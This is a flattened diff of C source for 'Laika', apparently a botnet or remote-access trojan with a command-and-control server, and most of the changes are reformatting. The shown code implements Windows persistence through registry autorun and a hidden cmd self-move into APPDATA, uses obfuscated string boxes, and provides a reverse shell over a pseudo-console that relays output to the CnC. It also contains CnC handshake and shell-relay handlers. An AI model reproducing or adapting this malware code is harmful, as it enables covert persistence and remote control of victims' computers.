void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) { void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
{
LONG code; LONG code;
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n"); LAIKA_ERROR("Failed to write registry!\n");
} }
void getExecutablePath(LPSTR path) { void getExecutablePath(LPSTR path)
{
CHAR modulePath[MAX_PATH] = {0}; CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0) if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n"); LAIKA_ERROR("Failed to get executable path!\n");
@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
LAIKA_DEBUG("EXE: %s\n", path); LAIKA_DEBUG("EXE: %s\n", path);
} }
void getInstallPath(LPSTR path) { void getInstallPath(LPSTR path)
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR); {
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE); LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0}; CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
* microsoft will probably never completely remove it :P */
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n"); LAIKA_ERROR("Failed to get APPDATA!\n");
@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
lstrcpyA(path, "\""); lstrcpyA(path, "\"");
lstrcatA(path, SHpath); lstrcatA(path, SHpath);
lstrcatA(path, "\""); lstrcatA(path, "\"");
LAIKA_DEBUG("INSTALL: %s\n", path); LAIKA_DEBUG("INSTALL: %s\n", path);
LAIKA_BOX_SKID_END(instFile); LAIKA_BOX_SKID_END(instFile);
LAIKA_BOX_SKID_END(instDir); LAIKA_BOX_SKID_END(instDir);
} }
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we /* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
spawn a shell to move the exe *after* we exit. */ the executable is open), so we spawn a shell to move the exe *after* we exit. */
void installSelf() { void installSelf()
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; {
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
getExecutablePath(szFile); getExecutablePath(szFile);
getInstallPath(szInstall); getInstallPath(szInstall);
@ -130,24 +140,27 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */ * TODO: move this string to a secret box */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
lstrcatA(szCmd, szFile); lstrcatA(szCmd, szFile);
lstrcatA(szCmd, " "); lstrcatA(szCmd, " ");
lstrcatA(szCmd, szInstall); lstrcatA(szCmd, szInstall);
lstrcatA(szCmd, " > NUL & "); lstrcatA(szCmd, " > NUL & ");
lstrcatA(szCmd, szInstall); lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n"); LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning(); laikaB_unmarkRunning();
exit(0); exit(0);
} }
void installRegistry() { void installRegistry()
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY); {
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL); LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0}; CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal; LPSTR regVal;
DWORD regSz; DWORD regSz;
@ -182,12 +195,14 @@ void installRegistry() {
} }
/* try to gain persistance on machine */ /* try to gain persistance on machine */
void laikaB_tryPersist() { void laikaB_tryPersist()
{
installRegistry(); installRegistry();
installSelf(); installSelf();
} }
/* try to gain root */ /* try to gain root */
void laikaB_tryRoot() { void laikaB_tryRoot()
{
/* stubbed */ /* stubbed */
} }

View File

@ -1,14 +1,15 @@
/* platform specific code for opening shells (pseudo consoles) on windows */ /* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "lerror.h" #include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "bot.h"
#include "shell.h" #include "shell.h"
#include <windows.h>
#include <process.h> #include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */ /* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell { struct sLaika_RAWshell
{
struct sLaika_shell _shell; struct sLaika_shell _shell;
HANDLE in, out; HANDLE in, out;
PROCESS_INFORMATION procInfo; PROCESS_INFORMATION procInfo;
@ -16,12 +17,16 @@ struct sLaika_RAWshell {
HPCON pseudoCon; HPCON pseudoCon;
}; };
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows); HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC); HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {; struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
;
TCHAR szComspec[MAX_PATH]; TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr; HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell)); ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
} }
/* launch cmd shell */ /* launch cmd shell */
hr = CreateProcess( hr = CreateProcess(NULL, /* No module name - use Command Line */
NULL, /* No module name - use Command Line */ szComspec, /* Command Line */
szComspec, /* Command Line */ NULL, /* Process handle not inheritable */
NULL, /* Process handle not inheritable */ NULL, /* Thread handle not inheritable */
NULL, /* Thread handle not inheritable */ FALSE, /* Inherit handles */
FALSE, /* Inherit handles */ EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ NULL, /* Use parent's environment block */
NULL, /* Use parent's environment block */ NULL, /* Use parent's starting directory */
NULL, /* Use parent's starting directory */ &shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */ &shell->procInfo) /* Pointer to PROCESS_INFORMATION */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */ ? S_OK
? S_OK : HRESULT_FROM_WIN32(GetLastError()); : HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) { if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList); laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon); ClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell); laikaM_free(shell);
return NULL; return NULL;
} }
return (struct sLaika_shell*)shell; return (struct sLaika_shell *)shell;
} }
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */ /* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0); TerminateProcess(shell->procInfo.hProcess, 0);
@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */ /* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ /* edited from
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { * https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows}; COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE; HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE; HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT; DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */ /* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0)) if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError()); return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with /* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */ easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL)) if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError()); return HRESULT_FROM_WIN32(GetLastError());
@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
return hr; return hr;
} }
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ /* also edited from
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) { * https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED; HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) { if (pStartupInfo) {
@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize); pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */ /* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList if (pStartupInfo->lpAttributeList &&
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){ InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */ /* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute( hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
pStartupInfo->lpAttributeList, PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
0, NULL, NULL)
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, ? S_OK
hPC, : HRESULT_FROM_WIN32(GetLastError());
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
} else { } else {
hr = HRESULT_FROM_WIN32(GetLastError()); hr = HRESULT_FROM_WIN32(GetLastError());
} }
@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr; return hr;
} }
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; {
struct sLaika_peer* peer = bot->peer; char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_socket* sock = &peer->sock; struct sLaika_peer *peer = bot->peer;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd; DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL); bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) { if (readSucc) {
/* we read some input! send to cnc */ /* we read some input! send to cnc */
@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaS_write(sock, readBuf, rd); laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer); laikaS_endVarPacket(peer);
} else { } else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */ return true; /* recoverable, process is still alive */
/* unrecoverable error */ /* unrecoverable error */
laikaB_freeShell(bot, _shell); laikaB_freeShell(bot, _shell);
@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true; return true;
} }
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
struct sLaika_peer* peer = bot->peer; size_t length)
struct sLaika_socket* sock = &peer->sock; {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft; size_t nLeft;
DWORD nWritten; DWORD nWritten;
nLeft = length; nLeft = length;
while (nLeft > 0) { while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */ /* unrecoverable error */
laikaB_freeShell(bot, _shell); laikaB_freeShell(bot, _shell);
return false; return false;

View File

@ -1,24 +1,25 @@
#ifndef LAIKA_CNC_H #ifndef LAIKA_CNC_H
#define LAIKA_CNC_H #define LAIKA_CNC_H
#include "hashmap.h"
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h" #include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h" #include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */ /* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000 #define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData); typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc { struct sLaika_cnc
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock; struct sLaika_socket sock;
struct sLaika_pollList pList; struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */ struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */ struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys; uint8_t **authKeys;
int authKeysCount; int authKeysCount;
@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub); struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */ /* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData); void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

View File

@ -7,9 +7,13 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
#endif #endif

View File

@ -3,18 +3,20 @@
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h" #include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
struct sLaika_peerInfo { struct sLaika_peerInfo
{
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */ struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc; struct sLaika_cnc *cnc;
long lastPing; long lastPing;
bool completeHandshake; bool completeHandshake;
}; };
struct sLaika_shellInfo { struct sLaika_shellInfo
{
struct sLaika_peer *bot; struct sLaika_peer *bot;
struct sLaika_peer *auth; struct sLaika_peer *auth;
uint32_t botShellID, authShellID; uint32_t botShellID, authShellID;
@ -24,25 +26,28 @@ struct sLaika_shellInfo {
#define BASE_PEERINFO struct sLaika_peerInfo info; #define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */ /* these will differ someday */
struct sLaika_botInfo { struct sLaika_botInfo
{
BASE_PEERINFO BASE_PEERINFO
}; };
struct sLaika_authInfo { struct sLaika_authInfo
{
BASE_PEERINFO BASE_PEERINFO
}; };
#undef BASE_PEERINFO #undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData) #define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData) #define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData) #define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows); struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell); void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeShells(struct sLaika_peer *peer); void laikaC_closeShells(struct sLaika_peer *peer);

View File

@ -1,57 +1,61 @@
#include "lmem.h" #include "cnc.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cpanel.h" #include "cpanel.h"
#include "cpeer.h" #include "cpeer.h"
#include "cnc.h" #include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */ /* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem { typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer; struct sLaika_peer *peer;
uint8_t *pub; uint8_t *pub;
} tCNC_PeerHashElem; } tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) { int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a; const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b; const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
} }
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item; const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
} }
/* ====================================[[ Packet Handlers ]]==================================== */ /* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) { bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0) if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n"); LAIKA_ERROR("public key is already in use!\n");
return true; return true;
} }
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN]; char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf; char *tempIPBuf;
uint8_t major, minor; uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock); major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock); minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock); peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT; peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
|| major != LAIKA_VERSION_MAJOR minor != LAIKA_VERSION_MINOR)
|| minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n"); LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */ /* read peer's public key */
@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN); laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */ /* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub); * which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */ /* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0'; peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */ /* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n"); LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */ /* encrypt all future packets */
@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer); LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
} }
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime(); pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
/* ==========================================[[ CNC ]]========================================== */ /* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */ /* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
